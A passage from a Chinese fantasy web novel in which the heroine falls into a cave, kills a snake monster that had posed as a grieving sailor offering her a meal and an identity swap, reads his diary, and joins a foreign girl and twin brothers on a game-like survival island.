玖安决定继续往石滩深处探索。
20. 掉在了奇怪的地方
石滩砂石硕硕,无数形状各异的石块杂乱地堆叠在一起,有的巨大如房屋,有的小巧似鹅卵石。
对于玖安而言,这并不是一条容易走的道路,更别提该该了,它的两条小短腿快要跨出火星子了,时不时遇见个大点的石块,不得不手脚并用,使劲攀爬。
尽管如此,它还是跟不上玖安的步伐。
林玖安回过头的时候,它正一脸丧气地坐在一块大石头上,遥遥看着她,好像在看一个负心的女人。
玖安眼神飘忽,从地上飞到天上,好半响才重新聚焦到该该的身上。绝对不是她觉得该该爬石头的样子太过生动,才故意把它落在身后的。
她走了回去,把它抱在怀里,这一次,它没有再拒绝,显然,它也认识到靠自己的力量是不可能赶上玖安的。
石滩很大,几乎看不见绿色生物的身影,乌鸦从她们的头顶掠过,如黑色的幽灵飞向远处,发出奇怪的叫声,好像在报丧一般。
太阳热烈,有如酷暑,带着一种你死我活的拼劲,照在玖安的身上。薄薄的T恤湿了又干,然后又像一条刚刚从水里拿出来的毛巾一样,稍微一拧,水就滴落。
时间仿佛凝固了一般,每一分每一秒都被无线拉长。周围的一切都变得无比缓慢,空气也变得粘稠起来,短短的十几分钟,玖安觉得自己好像过了大半辈子。
她的嗓子火辣辣地疼,叫嚣着它要水分,携带的水喝了大半,落到喉咙里,好似被一阵火蒸发了一般,她还是觉得好渴。
“好想把自己埋在水里啊。”玖安这么想,感觉整个人都焉了。像一株焉了吧唧的小草,毫无生气可言。
但是该该没有什么异常,不知道是不是它因为并不算是一个真正的人。
玖安感觉脑袋有些晕乎,有点像自己为了期末考通宵复习了一整天,走出图书馆,整个人都仿佛踩在棉花上的那种飘忽感。
地面不是实心的,好似一块夹满奶油的奥利奥饼干,站在上面,会微微地晃动,玖安觉得自己出现幻觉了。
地面发出一阵沉闷的声响,如同巨兽的怒吼。
脚下的碎石地开始剧烈地震动,几乎要把她晃倒了。突然,地面从她站的地方开始,向两边飞速地开裂,仿佛一块大饼,被母亲撕成两半,好分给两个孩子。
裂缝边缘的石块纷纷滚落,发出令人胆寒的撞击声。
玖安的身体不受控制地摇晃着,她徒劳地伸出手,想要抓住些什么,却只能无助地向深不见底的黑暗中急速坠落。
她被这张突然醒来,慌不择食的大嘴吞如腹中,昏迷之前,玖安满脑子都是:原来地板摇来摇去不是我的幻觉啊。
大地很快闭上它的嘴,心满意足地陷入沉睡。
遥遥传来嘶哑的歌唱,飘忽不定,似有似无,仿佛从地府传来的催命曲:
两只怪物,两只怪物,跑得快,一只没有双腿,一只多出双腿,真奇怪,真奇怪。
歌声循环往复,一遍又一遍萦绕在空中,尖锐而阴森,沉重得让人难以呼吸。远处飞来一片又一片的黑色乌鸦,嘶声竭底地发出一声又一声的怪叫。
如果有人听见这歌声,一定会感到毛骨悚然,恨不得快步逃离这里。
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沈该醒来的时候,又回到了自己的雕花床榻上。
那柔软的被子,还有那个陌生的女孩,好像一场特殊的梦境,令人记忆深刻,但是清醒之后,又如水中月,镜中花了无痕迹。
他的床上只有一张薄薄的毯子,这是树妖用自己掉落的叶片给他做的,作为他的生辰礼物送给他。
树妖说作为人,睡觉应该盖着被子的,就算是酷暑,也要把被角盖在肚脐眼上,这样才不会生病。所以他每一次休息的时候都不会忘记盖上被子,尽管他从来没有生过病。
这里没有谁真正地清楚他的生辰到底是什么时候,所以,树妖是用他来到这里的时间作为他的生日的。
树妖喜欢给他过生日,一年里有一半的日子都是他的生日,直到后来有一天,他忍不住问树妖:“别人过生日都是一年一次,为什么我要过这么多次生日呢?”
树妖是这么回答的:人都是有盼头的,小孩子总盼着过生日,所以我想,如果你每天都可以过生日的话,会不会开心一些。
他直起身子,靠在床边,肩上的骨头碰到凸起的花纹,并不太舒服。寝室里一片寂静,他将身子埋在用叶子作成的被子上,他总是这么做,这样就好像有人在轻轻拥抱着他一样。
他喜欢被拥抱的感觉,尽管在他漫长又单调的记忆里,除了树妖,再也没有人给过他一个拥抱,在后来,连树妖也不在了,这座宫殿,就真正意义上的,只有他一个人生活了。
他忍耐着日复一日的孤独,就好像,这本就是他该承受的。
沈该不由想起不久前那段突兀的记忆,柔软似棉花般的被子,带着一股十分好闻的气息,就好像春日草木生长,百花盛开的那种令人印象深刻的味道。躺在里面,一定和在寒冷的冬日,躺在旭日下一样让人舒适。仿佛置身于一个温暖的怀抱,温柔而细腻。
那个女孩,那个陌生的女孩,对那个小小的人——他不小心代替了一小段时间的小人,很好的模样。沈该低下脑袋,看着哪怕是休息,仍然里三层外三层穿得严实的自己,思绪不知道飘到了哪里。
突然,他的身上传来一阵剧痛,一阵几乎要把他的五脏六腑和骨头都打碎重组的疼痛,让他不觉咬紧嘴唇,牙齿深深陷入唇瓣中,微微颤抖。那痛像一阵风一样来也匆匆去也匆匆,取而代之的,是一种神奇的感觉,好似两具身体紧密贴合,世界仿佛安静下来,再回过神,那感觉又消失了,他
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又恢复了原本的模样。
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玖安清醒过来的时候,四处一片漆黑,几乎什么也看不见,让她怀疑自己的眼睛是不是瞎了。
她半个身子泡在水里,水是冰冷的,这使她的感官被无线放大,能清晰地感受到周围的寂静以及身体每一处细微的反应。她在想是不是小瑞咖啡把店里没用完的冰块都扔到这个水潭了,她半边身子都要泡麻木了。
眼睛渐渐适应了黑暗,她隐隐约约看得见一些东西了。微弱的光线从石缝中艰难地挤牙膏似的透了出来,勉强照亮一小片区域,却显得周围更加深邃黑暗了。
洞穴的墙壁和顶部布满了奇形怪状的岩石,有的如锋利的刀刃,有的似巨大的蘑菇,好有的仿佛巨兽的獠牙。水珠从洞顶缓缓滴落,砸在玖安正在四处观察的脸上,发出清脆的声响,在一片寂静中回荡。
空气潮湿阴冷,带着岩石和湿润泥土的气息,地面崎岖不平,浅浅的水洼倒映着模糊的影子。
在这样的环境,玖安却并没有太多的不舒服,甚至比起在石滩那里,还要舒服了许多。
该该趴在地上,不知道在做些什么。
玖安并没有太大的不适,或者说她对疼痛的阈值似乎提高了不少,虽然身上不可避免出现了大片的擦伤和划痕,她却没有太在意,她把该该抱起来,却发现他不知道什么时候阖上了眼眸,一副很安详的模样。
她心跳如擂鼓般急促地跳动起来,额头上冒出细密的汗珠,“该该,你怎么了?”
玖安仔细检查该该的身子,但是却没有任何肉眼可见的外伤,她抱着该该摇晃了好一阵,该该才悠悠转醒,淡淡地看了她一眼,一副疲惫又无奈的模样,让她不觉停下动作。
该该又闭上眼睛,估摸着是太久没有睡觉了,玖安想到从前它一天二十四个小时要睡满二十五小时,除了饭点都不起床的样子,心里稍微放松了一点,将它收回背包,让它好好地休息。
她继续观察起洞穴的环境,面前有两条道路,一条看起来比较宽阔,有微弱的荧光从里面透出来,地面虽然并不太平整,但相对而言,较为干燥。
洞壁上偶尔有神秘的矿物光芒闪烁,有些像童话里非常具有吸引力的红苹果,让人不由想要去选择这一条道路。
另一条则狭窄而幽暗,仅仅能容纳一人勉强通过,潮湿的气息扑面而来,仿佛是大地呼出的沉重叹息。
玖安站在交叉口,犹豫不觉,以她目前的水平而言,她并不能看出哪一条路是正确的,哪一条又是错误的。
不过也有可能两条都是错误的,她默默想到。
既然如此,那不如选那条自己看起来最顺眼的道路,至少走起来心里高兴。
玖安毅然决然走进那条有光且相对来说宽阔一些的路。
21. 玖安遇见一个老人
石道寂静,水滴从头顶滴落,掉进地上的小水潭,发出“啪”的声响。
随着时间的推移,道路愈发的狭窄,几乎要曲着身子,才可以继续向前。远方羸弱的光亮似有似无,好像吊在驴面前的胡萝卜,让玖安在每一次想要掉头原路返回的时候,都会想着要不再坚持一下,或许前面就是曙光呢。
洞穴潮湿,每一丝空气都吸足了水分,这些空气从玖安的鼻腔进入,然后到达她的肺部,逐渐浸润在她的每一个细胞里。
哪怕已经行走了不知道多久,林玖安并不觉得疲倦,反而感到身心舒畅,浑身充满了力量。她想,现在估计连最先进的,刚刚充满电的机器人,都不如她此时精力充沛。
再往前,便是一个小小的洞口,需要玖安像最灵活的蛇一样爬行,才能进去。她透过洞口,看到了一片光明。
正对着洞口的,是一个款式复古的红蓝壁橱,木柴在里面噼里啪啦地燃烧着,热情似火地供养着火苗。
旁边有一张餐桌,铺着黄色碎花小布,高脚玻璃杯置于上方,红色的葡萄酒液印着桌上摇曳的烛火的光芒。煮好的意面散发着属于胡椒的独特香气,碟子里罗勒叶上还有欲滴不滴的水珠,看起来清新可口。
木质地板上铺着蓝绿色的羊毛地毯,看起来柔软蓬松,好似在房间里养了一头小羊。
玖安听到自己的肚子发出“咕噜咕噜”的声响,脑子发出信号,让她情不自禁地弯下身子,爬进那个洞口。
洞口看似狭小,但或许是玖安身量并不算太大的原因,非常轻易的,她爬过那个洞口,双脚踏踏实实地站在那个温馨暖和的房间。
火焰将整个屋子烘烤得喷香,让她的脑子仿佛烤箱里发酵的面包,舒服得找不到东西南北。
屋子里有两张椅子,那椅子一边的腿稍短,另一边倒是齐整,即便如此,椅子好好地站在地上,简直是最尽职尽责的士兵,一丝不苟,稳定如松,颇具特色。
椅子上坐着一个年过半百,白发苍苍的老人。
他的头发简直要比冬天下的第一捧雪还要白,他的胡子简直要比她见过的头发最长最多的女子都要长,胡子被编成一个长长的麻花辫,每隔一小段,就用棕黑色的发圈捆绑着,垂到地上,遮住了他的双腿。
“嘿,远道而来的客人,要不要和我一起享用一顿美味丰盛的晚餐?”老人面容慈祥,没有问她是从哪里来到这里,只是微微笑着——胡子遮挡住了他的嘴,玖安是根据他胡子变化的角度推测他应该正在笑。
“抱歉,打扰了,不知道怎么回事,我就闯入了您的家,真是十分的不好意思。”
老人是典型的外国人长相,鼻梁高挺,眉眼深邃,有着蔚蓝像大海的眼珠和十分具有辨识度的鹰钩鼻。他面前有两份意面,煎好的牛排散发着浓郁的香气。他将其中一份推到她面前。
“快快入座吧,尝一下老爷子我的手艺。”老人面色期待。
但是不随便吃陌生人给的食物是根植在每一个种花家小孩心里的理念。
“谢谢您呀,但是我不久前才吃过晚饭,现在实在是没有空的肚子去享受您看起来色香味俱全的美食了。”玖安善意地撒了个慌,但事实上从她走进这里后,饿意莫名其妙都消失了,她确实不太饿,甚至闻到牛排的味道时,还隐隐有些反胃。
“那是你没有口福了,先坐吧,快和我聊聊外面的世界现在变成什么样子了,老爷子我腿脚不便,已经很久没有出过门了。”老人自顾自端起酒杯,抿了一口酒,眉毛像想要起飞的鸟的翅膀一般舒展开来。
玖安顺从地落座,“我从一片大海上来,海是十分辽阔的,在平静的时候,有一种容纳百川的魄力,简直让人沉迷。”
“嘿,你说巧不巧,我曾经就是一名水手,最优秀最完美的水手!”这老人明显兴奋起来,胡子四处摆动着,好像是什么有生命的生物一样。
“我喜欢极了大海,特别是冬天但是又有太阳的日子,我最爱拿一张躺椅,然后躺在上面,思绪一定要放空,想象自己是一条鱼,一条生来就是属于海洋的鱼。”老人拿起刀叉,手舞足蹈道,简直要自创一支刀叉舞了。
“这个时候大海就会视你为自己的孩子,海浪轻柔地将你抛起,就好像小时候的摇篮,混杂着母亲的气味,温柔又舒适。”
他两只手合作,将一块完整的牛排分尸成好几份,然后叉起其中一块,迫不及待地塞进自己的嘴里,那牛排还带着鲜红的血丝,在他的咀嚼下,发出“咕叽咕叽”的声响,溢出来的血将他的白胡子染红。玖安看着他的动作,不知道怎么回事,感觉自己的胃在不断地翻滚,几乎想要吐出来了。
她从随身携带的小包里掏出一瓶水——这小包可以让她凭空拿出东西的动作显得不那么明显。她喝了好几口水,才将那股子呕吐欲压力下来。
“嘿,别喝什么白开水,那简直是世界上最没劲的玩意,尝一尝我精心酿制的葡萄酒,简直醇厚得让人想要高声歌唱一曲!”
那老人转过身,像一条蛇一样蠕动,走到橱柜面前,拿出一个崭新的高脚杯,然后又从不知道哪里掏出一瓶葡萄酒,就要倒进那高脚杯里。
“您不要客气,我不能喝葡萄酒的。”玖安连忙站起来,制止老人的下一步行动。
“有什么不能喝的?葡萄酒简直是这个世界上最美味的东西,实话说,你是不是看不起我老爷子?”老人双目瞪圆,一副凶样,仿佛要从眼睛里冒出火来。
“不不不,实不相瞒,我酒精过敏,喝上一点,浑身都像蚂蚁咬过一般,痒,非常痒。”果然,说了一个谎言,就得用千万个谎言去圆这个谎。
“既然如此,那行吧,真是扫兴呢。”老人嘟囔道,将酒杯放了回去。<
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“话说我有一个女儿,简直像你一样,鬼灵精怪的。”他从新坐回自己的位置,开始了新的话题。
“她是在我出去航海后的第二年出生的,我还记得她小时候的样子,圆滚滚的,简直就像一颗肉丸子,她一笑,就像年画里的娃娃,软乎乎,暖乎乎的。”老人视线不知道飘到了什么地方,自顾自说了起来。
“那一定十分可爱。”玖安说到,和她一样的女性,确实是一个很好的话题插入点,让她的心情稍微放松了些。
“确实很可爱,她现在应该和你差不多大了吧,时间过得真快呀,一眨眼,一个小小的面粉团子也要变得亭亭玉立,简直要比湖面上的荷花还要让人稀罕,看到你,我就要想起我亲爱的女儿。”老人视线又回到玖安的脸上。
“那您一定十分爱您的女儿,听您的描述,让我不由想要亲眼去看看您的女儿是有多么的可人了。”
“当然,我爱我的女儿,但是我总觉得十分亏欠她。”
老人又举起酒杯,酒液顺着他的嘴滑进他的食管,发出“咕咚咕咚”的声音。
“在她两岁那年,我就又开始我的航海事业了,那个时候我还很年轻,总是觉得没有什么比得上我的事业,我爱航海,就像热爱自己的生命一样热爱它,我总是在海上漂泊,享受每一次风浪带来的刺激,但是我忽略了我的女儿,我亲爱的海伦娜!”
老人的眼角分泌出晶莹的泪水,烛光下,面色变得晦暗。
“等我再一次从颠簸的海上回到平坦的陆地上的时候,我却得知了一个噩耗:我的妻子因为重病死亡,我亲爱的海伦娜不知所踪!”他的面色变得潮红,呼吸急促,让安静倾听的玖安心神都不觉被牵动起来。
“后来,我去寻找我亲爱的女儿,但是却沦落到这一座奇怪的海岛,我有了新的身份:肉食者,这个身份非常利于我在这座小岛上生存,我在这里建立新的生活,只是至今为止,我依旧没有找到我的女儿。”老人顿了顿,带着些祈求的目光落在玖安的身上。
“如今,我命不久矣,只是希望未来,如果你能遇见我的女儿,可以替我告诉她:父亲爱她,我愿意将我的身份与你交换,作为条件。”
“你是一株猴面小龙兰,请记住你的身份。”玖安的确被老人的故事触动,但是妖冶诡异的声音又在她脑海里回响,她眼神变得清明。
“您不必与我交换身份,我愿意答应您的请求。”玖安冷静地说到。
“你应该知道,肉食者的身份可以帮助你在这里更好的求生。”老人说到,语气中带着些诱惑,但是愈是如此,玖安愈发谨慎。
“不了,我喜欢我现在的身份。”
“啊啊啊啊,fuck!给脸不要脸!既然如此,别怪我不客气了!”和蔼的老人消失了,玖安的眼前出现了一条人面巨蟒,飞快地向她扑过来。
22. 击杀堕落种
顷刻间,张大的腥臭的嘴凑到玖安的面前,她还没来得及看清这怪物的样貌,先看见了两颗尖利的毒牙,上面有黄绿色的黏液,顺着牙齿缓慢流动,那怪物喉咙涌动,鲜红的喉管不断伸缩,仿佛对面前的猎物势在必得。
箭在弦上,玖安心念一动,手心冒出火焰,蛇怪显然有些畏火,下意识往回缩,这瞬间的停顿,给了玖安反击的时间。
她一只手拿着《诊断学》,向怪物挥去,它口中的腥气冲天,仿佛这辈子都没有刷过牙,是进食的东西卡在它的牙缝,然后慢慢腐烂掉的味道。
林玖安一不小心吸一口浑浊恶臭的空气,鼻子差点失灵,《诊断学》很厚,卡在怪物的嘴里,因为常年啃食生肉而显得锋利无比的牙齿卡在《诊断学》上方,暂时无法攻击到玖安。
怪物的双眼变得通红,它比冬日的草坪还要空旷的脑门上不多的几根头发根根竖起,长长的,看起来力量十足的环状尾部狠狠向玖安甩来,其力量之大,把玖安挥了起来,她的背部狠狠地砸到洞穴不算平整的墙壁上,剧痛从后背飞速蔓延,她呕出一口血,飞溅的鲜血和面前地面的砂石混杂,变得脏污不堪。
玖安眼前一阵阵的发黑,她的心脏开始快速地跳动,尽其全力想要唤醒玖安的潜能。
滑腻的蛇尾飞速地滑行,将趴在地上伤痕累累的林玖安卷起,蛇是很擅长绞杀的,那蛇尾紧紧的收缩,简直比孙悟空头上的紧箍咒还要厉害,玖安感觉五脏六腑都被挤压,心脏要从她口里吐出来了般。
但是实际上她吐出来的是一口血,那鲜血显然激发了怪物的斗志,它想要发出嘶吼,但是由于《诊断学》卡在它的嘴里,“丝丝”的叫声变得短促而怪异。
玖安咬紧牙关,拼尽全力将手上的匕首插入怪物的七寸,她顺利地穿透坚韧的蛇皮,将刀子送进蛇怪的血肉中,但是一股莫须有的阻力,让她的匕首无法继续前行。
“你是一株猴面小龙兰,在面对食肉动物的时候,你或许不会引起它们的注意,但是你的攻击造成的伤害将下降百分之五十。”电石之间,玖安回想起这条规则。
“伪装!”玖安不知道怎么触发技能,只能大声喊道。
“技能触发成功,本次伪装的动物是:母鸡,你是一株猴面小龙兰,当然,现在,你可以把自己看成一只母鸡,众所周知,蛇有的时候也在鸡的食谱里,你的攻击伤害大幅提升……”
玖安来不及听完技能说明,蛇怪又锁紧尾巴,想要将她生生绞杀,此时她闻不见怪物嘴里的腥臭了,每一丝呼吸进肺部的空气,都带着浓郁的血腥气味,在她的肺部转了一周,这气味愈加浓烈,让她的脑袋疼痛不已。
她的手颤抖着,拼命抓紧手里的匕首,不断地往蛇怪的身体里送,伪装过后,刺透怪物的身体变得简单了不少。不知刺到哪里,那怪物身体一僵,剧烈地挣扎起来。
蛇耐不住疼痛,松开了对她的束缚,将她高高地抛起,她摔倒地上,眼前一片片黑,几近晕厥。
那蛇怪的动静渐渐弱了下来,玖安躺在冰冷的地上,浑身疼痛,全身上下看起来青青紫紫,每一块好皮。
“咚”蛇怪的头重重地砸在地上,发出沉重的撞击声,玖安呼出一口浊气,很轻的动作,但却牵动了全身,五脏六腑都在疼痛。
“不能晕过去。”明明很疼,但是这一次,她没有哭泣,哭是最没用的东西,对于她现在的状态而言。
“叮,恭喜玩家成功击杀堕落种,等级提升3级,目前等级:5级。”冰冷的声音对于现在的玖安来说,有如天籁。
仿佛一股生机注入她的身体里,疼痛似乎减轻了不少,甚至让她能够站起来,支撑着墙壁来到怪物的面前。
她这时才彻底看清怪物的样貌。
它明明有着一张硕大的蛇头,但是蛇头的侧面,却是一张人脸,正是不久前她看见的那个老人。
他的脸仿佛是被硬生生刨下来,装在这怪物脑袋上的,显得格格不入,恐怖至极。
那人脸皱纹横生,和不久前她看见的那个面色慈祥的老人一点也不一样,仿佛在短短的几十秒里,度过了数十年的时光,苍老不已,任谁都能看出他命不久矣,死机浮现。
他的睫毛浮动,勉强支撑开一点眼皮,浑浊的眼睛满是泪水,目光几乎无法聚焦。
他开裂干燥的嘴蠕动着,“海伦娜,海伦娜,告诉她,我爱……”
话还没说完,他的眼睛便彻底没了光彩。
蛇身混着那张人脸缓慢地变成微小的光粒,消散在空中,不留半丝痕迹。
此时她站在潮湿的洞穴,地面上掉落一颗鲜艳明亮的黄色星星,星星将洞穴照亮,让她可以轻易看清这里的环境,地上还有一本日记本。
“检测到肉食者蛇已经死亡,其技能为:幻境,制造一场瑰丽的梦吧,将猎物收纳囊中。”
“检测到击杀者身份优先级低于被击杀者,是否互换身份?”
玖安这才明白前不久看见的温暖的房间不过是一个幻境,她注意到地上有一个死去的动物,看起来死亡的时间距离她踏入这里的时间并不太久远,脖子上被划开一个口子,鲜血还未凝固。
她非常有理由怀疑所谓的牛排就是这只动物身上缺失的肉块,酒杯里的葡萄酒就是它流出的鲜血。
玖安回想起那老人吃得津津有味的画面,又有些想吐了。
她拒绝了换身份,现在挺好的,虽然有debuff,但是伪装这个技能还是十分实用的。
她捡起那一颗星星,星星入手温润,仿若翡翠。
【奇物升级材料】
介绍:嘿,你真是一个运气不错的玩家,拥有它,你就可以升级你喜爱的奇物了,惊不惊喜,意不意外。
使用说明:只需要将这颗可爱的星星放在你的奇物上,奇物就会自动升级了。
确实挺惊喜挺意外的,玖安翘起的嘴都要拉不下来了。
嘿嘿,给谁好呢?小火焰可以靠“爱”提升,不是很需要,匕首也很有用
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,武力值担当……
还没等她考虑好,安静地躺尸在一旁的《诊断学》一个飞跃,跳到了玖安的手上,蛇怪的黏液糊了玖安一手。
星星化成金光,融入《诊断学》里。
《诊断学》上粘着的黏液,还有破损的页面全部恢复如初,书面变成精装壳,甚至渡上一层金边,连里面的纸张,都变成结实的,不容易损坏的牛皮纸。
《诊断学》高兴地跳了跳,哪怕没有表情,玖安都能感觉到它的兴奋和满足。
为什么后来者居上,因为它又争又抢……
事已至此,玖安也不纠结,点开升级版《诊断学》的说明。
【医学生的《诊断学》】
介绍:众所周知,每一位医学生都深爱着他们的《诊断学》课本。
《诊断学》总是能在危险来临之际,给予医学生们非常大的帮助。
比如说:面对医闹的时候,一刀下去,还没砍穿绪论。
《诊断学》,医学生们的家居好物。
技能1:抵御同等级下百分之六十五的伤害,抵御百分比随对方等级升高而降低。(可升级)
技能2:持有者恢复能力将得到百分之二十的提高。(可升级)
看到这个技能,玖安心满意足,觉得连伤口都没这么疼了,果然,这效果真是立竿见影啊,也不知道是不是心理作用。
她又捡起掉落在地面的日记本。
日记本显然被保存的很好,封面泛黄,存在的时间估计不短,内里页面却只有轻微的磨损,看得出来,翻阅的人动作是多么轻微。
海历2600年6月15日天气:晴
今天是我第一次出海,天呐,大海是多么壮阔啊,腥咸的海风简直让人舒适地想要打呼噜。
海历2600年7月9日天气:小雨
嘿,海上的雨景也颇有氛围,我一定会成为最优秀的水手的!
……
海历2602年9月5日天气:大晴
玛丽来信说我们的女儿出生了,我的心情简直像这个天气一样好,真恨不得自己有一双翅膀,马上飞回家看看我亲爱的女儿。
……
海历2603年5月6日天气:大雨
老天,这雨太大了吧,风都要把我精心梳理的发型吹乱了,女儿看我的眼神好陌生,不过没关系,她好可爱!像一块软绵绵的棉花糖!
后面有很多内容,都是在描述她的女儿和妻子,是多么让他幸福。
直到海历2609年,日记的内容陡然转变。
海历2609年8月3日天气:大风
老天无眼,我的女儿,亲爱的海伦娜,你在哪里?
……
海历2620年7月1日天气:未知
我或许走不出去了,如果有人能看到这个日记本,遇见我的女儿,哦,对了,她的名字叫海伦娜.乔治,是一位可爱的女孩,请替我转告她:她的父亲弗格森.乔治永远爱她。
23. 外国女孩和双胞胎
玖安不知道拿这本日记怎么办,只能暂时把它放进了自己的背包。
喉咙里突然升起一阵痒意,一股气顺着她的喉咙闯出,“咯咯哒”奇怪的叫声从她嘴里蹦出来,玖安眼睛瞬间瞪圆,惊疑不定,简直不敢相信这声音出自自己之口,她抬起手捂住自己的嘴,左右观望,还好现在这里只有她一个人。
不会吧,不会真变成母鸡了吧!
玖安控制不住自己,又发出一声鸡叫声。她只能庆幸伪装时间只有三十分钟,不知道如果她和蛇怪交换身份的话,会不会做出一些蛇爱做的举动,比如:趴在地上阴暗爬行。
这么看来,做一株草也挺好的,至少不会有什么奇怪的行为。
玖安半靠着墙壁,一番打斗严重消耗了她的体力,更别提她身上的伤口了,她的肚子发出响亮的抱怨声,想要进食点什么,但是却对她准备的面包啊,肉类啊,没有一丁点兴趣。
洞穴狭小,不过自从蛇怪的尸体消散后,空间也没有这么拥挤了,她几乎对这里一览无余。
原先蛇怪遮挡住的地方,有一个小洞,堪堪一个人通过的洞口,浅浅的日光从那个洞口透进来,玖安趴在那洞口前,只觉得全身的伤痛都少了些。
这个洞实在是太小了,以蛇怪的身躯绝对无法通行,玖安尽力收腹,比划一下大小,钻进那个洞口,爬行没多久,就看到了出口。
她心里激动,身上的疲惫似乎都似清风般消散了不少,玖安觉得只要能出去,这通道小就小点吧。
终于,曙光就在眼前,她的双臂已经伸出洞外,只消一使劲,脑袋就可以出来了。
她嘴角挂着浅笑,区区小困难,可难不倒她!她的头伸出洞口,“咯咯哒”兴奋的叫声变成鸡的声音,发绳不知道在什么时候掉了,头发凌乱地披着。
“啊啊啊,鬼呀!”旁边传来年轻男孩的尖叫,一道黑影从她的手边窜了出去。
玖安抬起脑袋,与面前的几个人面面相觑。
林玖安的嘴角拉下来了,再也笑不出来了,面前一个漂亮明媚的外国女孩犹豫了一会,缓缓开口:“那个,需要我帮忙拉你出来吗?”
最后玖安还是选择了自己爬出来,爬出洞穴后,她背对着她们,蹲在地上,捡了根木棍,在地上画圈圈。
有的时候,人不怕真死,但是害怕社死。
暖洋洋的阳光照射在她的身上,暖和得简直让她想要打个瞌睡,或者昏过去也行,反正不要让她继续待在这里就好。
饥饿奇异地被缓解,身上的伤口已经不太疼痛,玖安觉得这应该是太阳的功劳,从某一种角度来说,她确实变得和猴面小龙兰越来越像了。
从某种程度来说,感觉自己快要实现高中时候的梦想:人为什么不能变成一株绿色植物,靠光合作用就能给自己提供能量,这样省下来的吃饭时间就能用来做作业了。
感慨自己曾经的拼劲。
“嘿,亲爱的,要不要来一点烤肉面包。”外国女孩走到她面前,手里拿着一个夹着烤肉的面包,面包烤的恰到好处,颜色灿烂,肉塞得很多,淋满了酱料,看起来十分美味。
再看面前两个长得一模一样的年轻小伙,正津津有味地大口咀嚼面包,腮帮子鼓起一个圆滚滚的弧度。
“都说了那里有个洞,不要靠在那里休息,不知道里面会窜出来什么东西吧,不听兄弟言,吃亏在眼前。”
“我就是想靠,怎么了?”
“所以你不但吓到了自己,还把人家姑娘搞自闭了。”
“好啦,好啦,别说了,吃的还堵不上你的嘴吗?”其中一人用肩膀撞了另一个人一下,咋咋呼呼地说到。
玖安摆了摆手,“谢谢你啊,我现在不饿。”
金发女孩将面包塞到她怀里,“先拿着,饿了再吃。”
玖安于是接过面包,“你要不要和我们一起组队,我们都是在这里遇见的。”外国女孩问到。
“这样吗?当然!”
“诶,话说你是什么身份?”穿着宽大蓝灰色米奇T恤,黑色工装裤上的口袋多得数不过来的男孩问到。
“对了,我叫温修筱,我的身份是:樱桃,技能是:爆炸。”男孩白脸蛋透着红光,一排雪白的牙齿整整齐齐。一滴酱汁粘在他的嘴角,看起来有些滑稽。
他抓着身边和他长得相似的男孩,把他拉到自己面前,“他叫温筱修,身份是:豌豆,技能是:喷射豌豆。没错,就是《植物大战僵尸》里面豌豆射手的技能。我们是双胞胎,是不是长得很像?”
温筱修穿着棕色风衣,配着一条黑色修身西装裤,面色淡淡,从随身携带的小包里掏出一张纸,递给温修筱,“擦擦你的脏嘴,真是丢人现眼。”
明明两人一样的年纪,一个青春明媚,一个老气横秋。
“哦哦,知道啦。”温修筱拿过纸巾,大大咧咧地把嘴角抹了一遍。
“我是乔娜,我的身份是:蟑螂,技能是:打不死的小强。”外国女孩皮肤白皙,海蓝色的瞳孔明亮,嘴唇浅薄,抹着艳丽的红色,头发又一根皮筋高高束起,玖安的视线不自觉地盯着她的红唇。
“如果方便的话,可以说说你的身份吗?”乔娜声音温柔,让玖安觉得自己仿佛要溺毙在柔波荡漾的湖水里了。
“当然可以,嘿嘿。”林玖安简单地描述了自己的身份和技能。
然后又带着一丝疑问,“你们的身份是植物的话,不觉得平常吃的食物难以下咽,看着就没胃口吗?”
双胞胎面面相觑,然后同样疑惑地问答到:“虽然我们在这里的身份是植物,但是我们本来就是人类啊,人就是要吃人应该吃的东西,植物只是这座岛赋予我们的规则罢了。”
玖安心存疑虑,但是自从自己获得植物的身份以来,确实变得和植物越来越像了,好像只要有一点太阳就能灿烂。
她试探性的掏出一颗糖果塞到口中,没有对食物的厌倦,糖果的甜味
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激发了她的食欲,她甚至想要再来一颗。
可是既然如此,为什么规则要告诉她记住自己的身份呢?
“嘿,要不要继续向前走,我们在这里休息的时间似乎有些长了。”温修筱提议道。
玖安从思考中回过神来。“那就走吧。”
剩下两人也无异意,于是他们一行四人,继续行走。
草地像一块柔软绿毯,沿着洞口往外不断延伸,其间点缀着五彩斑斓的野花,散发出淡淡的芬芳。
“萝卜!野葱!”突然,温修筱快步往前跑去,蹲在地上,一脸兴奋,大量了一会,然后向她们招招手,“快来快来,这里有好东西!”
等到玖安他们走过去的时候,他已经拔出了一颗巴掌大小的萝卜。
萝卜刚刚从泥土里被拔出来,靠近地底的一面还沾着些泥土,露在外面的一小块看起来青绿,它的叶子被温修筱抓在手里,一股被强迫的画面感。
“这里好多蔬菜,快来和我一起!这样我们今晚就可以吃新鲜的蔬菜了!”温修筱仿佛已经吃到了晚上的美食,两眼放出明亮的光。
温筱修眉毛尽皱,“不要,看起来好脏。”
“行了,你个死洁癖,我还不知道你,我来帮你。”温修筱说道。
玖安和乔娜也加入拔萝卜大军,这里确实有很多蔬菜。每一株还长得翠绿多汁,看起来营养丰富。
短短的半个小时内,他们就收获了一背包的白萝卜,还有一大把的小野葱。
玖安还发现了一株饱满的大白菜,她毫不客气的把她收入囊中。
等到他们心满意足地停下,除了温筱修,每个人的手上都或多或少地粘上了泥土。
更不好说温修筱来了,甚至他的脸上都多了一道泥土的痕迹,看起来就像一只花猫。
温筱修拿出纸巾,一一递给他们,然后一脸无奈地盯着温修筱脸上明显的痕迹,仿佛在看世界上最难解的数学题。
“我真是搞不懂你,怎么总是把自己弄得这么脏?”他看起来是真的很迷惑。
温修筱摆了摆手,“你不需要懂啦,拔萝卜真的很好玩呀。”他接过温筱修递过来的纸巾,使劲的往脸上擦。
但是由于泥土已经干透了,他把脸擦得通红,却仍然没有把那泥土的痕迹擦掉。
温筱修皱了皱眉,看着他的一系列动作,实在忍不了了,他用水把纸巾沾湿,动作轻柔,替他把脸上的泥土擦干净。
温修筱眼睛看着他的劳动成果,一脸傻乐。
他们继续往前走,很快来到一片湖泊,湖泊的周围种满了飘逸的柳树。
风轻轻的吹,柳树的枝条飘荡,仿佛在跳着一支舞蹈。
他们靠近湖边,湖水清绿,隐隐约约倒映出他们的影子。
玖安看着水面的倒影,面上露出奇怪的神情。
湖面上,她依旧有着属于人类的双手和双腿,但是脸的地方,却是一株猴面小龙兰的模样。
24. 被鱼吞了
温修筱好奇地探出脑袋,水里面他的倒影没有变化。
